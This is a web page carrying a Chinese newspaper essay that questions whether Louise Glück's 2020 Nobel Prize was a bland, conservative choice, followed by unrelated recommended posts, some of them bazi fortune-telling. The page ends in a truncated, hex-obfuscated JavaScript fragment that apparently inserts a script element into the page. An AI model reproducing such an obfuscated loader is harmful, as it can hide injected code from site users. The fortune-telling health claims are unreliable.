首页 / 新京报 / 格丽克是诺贝尔文学奖的一个保守选择?

格丽克是诺贝尔文学奖的一个保守选择?

新京报 2020-10-10 06:07

露易丝·格丽克(Louise Glück),2020年诺贝尔文学奖得主,美国桂冠诗人。生于一个匈牙利裔犹太人家庭,1968年出版处女诗集《头生子》,至今著有十二本诗集和一本随笔集,遍获各种诗歌奖项,包括普利策奖、国家图书奖、全国书评界奖、美国诗人学院华莱士·斯蒂文斯奖、波林根奖等。格丽克的诗长于对心理隐微之处的把握,早期作品具有很强的自传性,后来的作品则通过人神对质,以及对神话人物的心理分析,导向人的存在根本问题,爱、死亡、生命、毁灭。

《直到世界反映了灵魂最深层的需要》

作者:露易丝·格丽克

译者:柳向阳 范静哗

版本:世纪文景|上海人民出版社 2016年5月

《月光的合金》

作者:露易丝·格丽克

译者:柳向阳

版本:世纪文景|上海人民出版社 2016年5月

在过去的几年里,诺贝尔文学奖的选择一直受到质疑,以至于在外媒上有人会这样总结——2016年莫名其妙地颁给了鲍勃·迪伦,而下一年的石黑一雄几乎是个需要评委们向读者道歉的选择,2018年发生了性侵丑闻,然后在去年,两位得主中出现了在西方政治争议极大的彼得·汉德克。接着,媒体就推测,瑞典学院好歹应该挽回一些带有争议性的形象了,在10月8日之前,他们提供了很多“靠谱的”热门人选,例如牙买加·金凯德,玛丽斯·孔戴,阿特伍德以及提安哥等等,认为诺奖是时候站在政治正确的一方了。然而,诺奖公布的结果再次让等候者们大感意外——美国诗人露易丝·格丽克。好处是她不会再带来任何政治争议了,因为格丽克的诗歌写作几乎毫无政治性可言,而让人需要在诺奖权威性之外表示困惑的一点是,这是今年的最佳选择,还是一个保守的选择?这就需要回到露易丝·格丽克的诗歌文本中去探讨。

具有原始质朴感的诗

露易丝·格丽克的诗歌写作方式一共有两种,一种是即兴的,灵巧而来,几乎不做太多修改,而另一种诗歌则是反复处于修改补充的过程当中。前一种写作形式大多集中于她早期的作品,在2000年,一次美国国会图书馆诞辰200周年的活动采访中,格丽克提到正在写作的诗集《七个时期》中的《星》正是她最后一首用即兴灵感的方式完成的诗。与格丽克作品的整体印象不同,《星》的语调更加激昂明朗,尽管仍旧带有必要的绝望气息——“我永远不会被放逐,我是光/是你个人的痛苦和羞辱/你敢/把我送走,就仿佛/你在等待某种更好的东西?”以及结尾“只有(轻柔的,激烈的)星星闪亮。这儿/在这房间,这卧室/正说着:我勇敢,我抵抗/我把自己置于火上”。

《七个时期》的出版时间是2001年,是格丽克非常近期的作品了。与之对比,我们可以找到一首格丽克创作于1975年的早期诗歌《在金牛星下》中的抒情语句进行比较——“指给我往哪儿看吧,似乎她们会待在她们所在之处/在黑暗中给我指点吧”。

然后再以星星的题材为线索,举例一首格丽克创作于2006年的诗歌《夜星》——“维纳斯,这颗黄昏之星/我要对你献上我的想象,既然在这黯淡的表面/你已经撒播了足够的光辉,让我的思想,再次可见”。

这三首诗歌的对比,已经多少可以让我们窥见格丽克在未经打磨(或者起码就读感而言不是经过太多打磨)的诗歌的写作特点。它们在物与哲思的结合上会让人想起抒情歌谣的时代,具有原始的质朴感,这随即带来了一个诗歌中的问题:质朴何为?因为在诗歌中,质朴几乎是最难做好,但同时也最易模仿的一种风格,我们身边随机抽取的诗歌爱好者们,多少都能用质朴的方式写出一首诗歌来——只需要为它们赋予分行断句和必要的情感。质朴的诗歌,以现代诗歌的读感而言,比较重要的一点是通过诗歌而形成的剥落感,即某种日常生活的表象,某种常识,通过诗歌的语调被冲刷,露出一种简洁而新颖的本质。美国新诗的发动者威廉·卡洛斯·威廉斯在《红色手推车》等诗歌中实现的便是这样一种艺术目标:“多有意思瞧/那辆红色的手推车/浇淋着雨水闪闪发亮/在一群白色的鸡雏旁”(李文俊译)。让物停留在那里,并形成一种自身所蕴含的孑然与崇高感。当然,尽管格丽克的写作受到过威廉斯的影响,但用威廉斯的诗歌来作为衡量她的标准并不公平,二者的诗歌目的截然不同,威廉斯追求的是剔除,由事物到诗意的事物,而格丽克则是从事物引向自身情绪与记忆。这里的对比只是用来说明一下“质朴”的艺术目的。

以诗歌情绪的相似性而言的话,美国女诗人西尔维娅·普拉斯的诗歌或许在这一点上也能给读者带来更多的触动——通过情绪对外部事物引发的变形,将“月亮”形容为“安眠药片”的直观联系。格丽克的诗歌,无论是从情绪复杂的深邃感,还是外物的重置与挖掘上,多少都欠缺一些惊喜感。在《月光》一诗中,格丽克其实并没有带给诗歌读者太多新颖的触动,她通过诗歌形式挖掘的东西具有显而易见的普遍性——“然后又是白天,世界恢复常态/恋人们抚平头发,月亮继续它空洞的存在”。月亮与空洞的联系,并不需要特别敏锐的观察知觉。

制造惊喜感不是格丽克的写作方式

诗歌语言的平乏,是格丽克自己也意识到的问题。“它本来应该是漂浮的,澎湃汹涌的,如梦似幻的,读起来让人欣喜若狂,但最终写完的样子却单调乏味……这可能仅仅是词汇贫乏造成的结果”,她在2015年的《华盛顿广场评论》中如此说道。但同时,这也是格丽克的一项艺术选择,“我的偏好,从一开始,就是那种要求或渴望有一个倾听者的诗歌。这是布莱克的小黑孩,济慈的活着的手,艾略特的普鲁弗洛克,而不是史蒂文斯的惊愕”(柳向阳译《格丽克:诗人之教育》),从她对诗歌倾听者的笃定以及对平乏语言的失落感中,我们可以猜测格丽克诗人内心的矛盾,制造惊喜感并不是——或者说她意识到了这并不是适合自己的写作方式。她期望带给读者的是绵延不断的问题与心理情绪的表达,那么,在另一种明显经历过修改与打磨痕迹的诗歌中,格丽克的诗歌风格又是怎样的呢?

格丽克是最理想的选择吗

格丽克经受过良好的古典神话教育,因此,她在晚些时候的诗歌中,大量地出现了与希腊神话相关的隐喻。这些以古希腊人物为主题的诗歌中,一部分是对古代故事的重叙,如《迦太基女王》,“最后,狄多/召集了她的侍女/这样她们就会看到/命运女神为她书写的残酷结局”,另一部分则是古代人物在格丽克日常生活的人身上的重映,这一类的数量要高一些,例如《塞壬》,“当我坠入爱,我就犯了罪/以前我是个女招待/我不想和你去芝加哥/我想和你结婚,我想/让你的妻子受折磨”。在近几年的诺奖热门中,有另一位研究古希腊著作的北美诗人安妮·卡森,卡森用诗歌处理古希腊人物的方式是这样的,“革律翁觉得自己的确是蠢。但当正义被履行/世界便会消散/他站在自己柔弱的红色阴影里思考接下来怎么办/正门在他眼前升起——”(《红色传说》)。我们能感受到,在形象的赋予上,格丽克的意蕴是相对单调的。

这正是格丽克诗歌对读者来说不是很容易发掘其内涵的原因。她舍弃了思想上的延展性,在抒情与隐喻中显露着诗人的感悟,但既不是深邃的凝视,也不是高度凝结的情感,而是一种普遍的阴柔情绪。我们会在读完后发现,她在诗歌中最终揭露的一点心理,其实也是我们在日常生活中会时刻触碰到的心理。格丽克最好的一类诗,是她放弃外部事物的抒情与暗喻的挪用,而直接面向记忆与经验的那些,“橙子花在卡斯提尔上空随风起舞/孩子们在乞讨硬币/我曾经遇到我爱的人,在橙子树下/难道那是金合欢树/难道他不是我爱的人?”(《卡斯提尔》),在这些诗歌中,格丽克才显示出了她诗歌中那种“未完待续”的特质——通过诗歌将读者引入一个预示性的场景,在诗歌结束时并不随之给出结局与答案,反而是开通了下一首诗歌的空间,将内在的情绪体验通过下一首诗歌及下下首诗歌以重复的方式传递下去,最终形成一种密度感。

这带来的另一个问题是诗歌中的重复性。(当然这可能是一个对诗人来说过分苛刻的评论观点)美国诗人、艺术评论家巴里·施瓦布斯基在《Haperallergic》上发表的文章《为什么我不读露易丝·格丽克》中尖锐地批评了格丽克的诗歌写作,“我很早就知道格丽克写了很多关于死亡的诗歌,而且从广泛的角度来说,她一直在寻找忧郁的话题。再往前走,我发现这个忧郁症的话题经常被提升到情节剧的咏叹调上……有些新鲜和大胆的尝试可能让人耳目一新,但是后来看来,这是一种相当普通的、甚至是被低估的白天上映的哥特戏剧风格——婚姻失败,悲剧潜藏在田园般的纯真中……”“而且,她使用神话来描绘一些个人处境,可能无法使它们获得更广泛的意义,而是让它们更加凝滞。区别全在于诗歌语言的细节上,但这一点我们至今还没有听到太多”。

诺贝尔文学奖评委给格丽克的颁奖词形容她“以朴实的美感使个人的存在变得普遍”,很泛泛,因为只要不是以艾略特为偶像,就没有哪个诗人不是这么做的。上述挑选几首诗歌举例的方式对格丽克来说也可能不是很公允,这会忽略掉她诗歌中彼此串联困惑、不断增强的阅读感受,但也能多少反映出她在诗歌写作上的疲乏感。以及,诺奖评委们宣称要让奖项的评判标准回归到文学本身,这当然是个理所应当的好事情,只是,在不涉及外部政治性的“文学本身”的范围中,格丽克真的是一个(哪怕仅是当代诗人中)最理想的选择吗?这次的诺奖评选多少显得有些平乏无奇,这不是指政治风险或对社会现实的批判,就诗歌写作与文学本身的内容而言,今年的这个选择,也的确是有些过于平淡了。

撰文/宫子

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();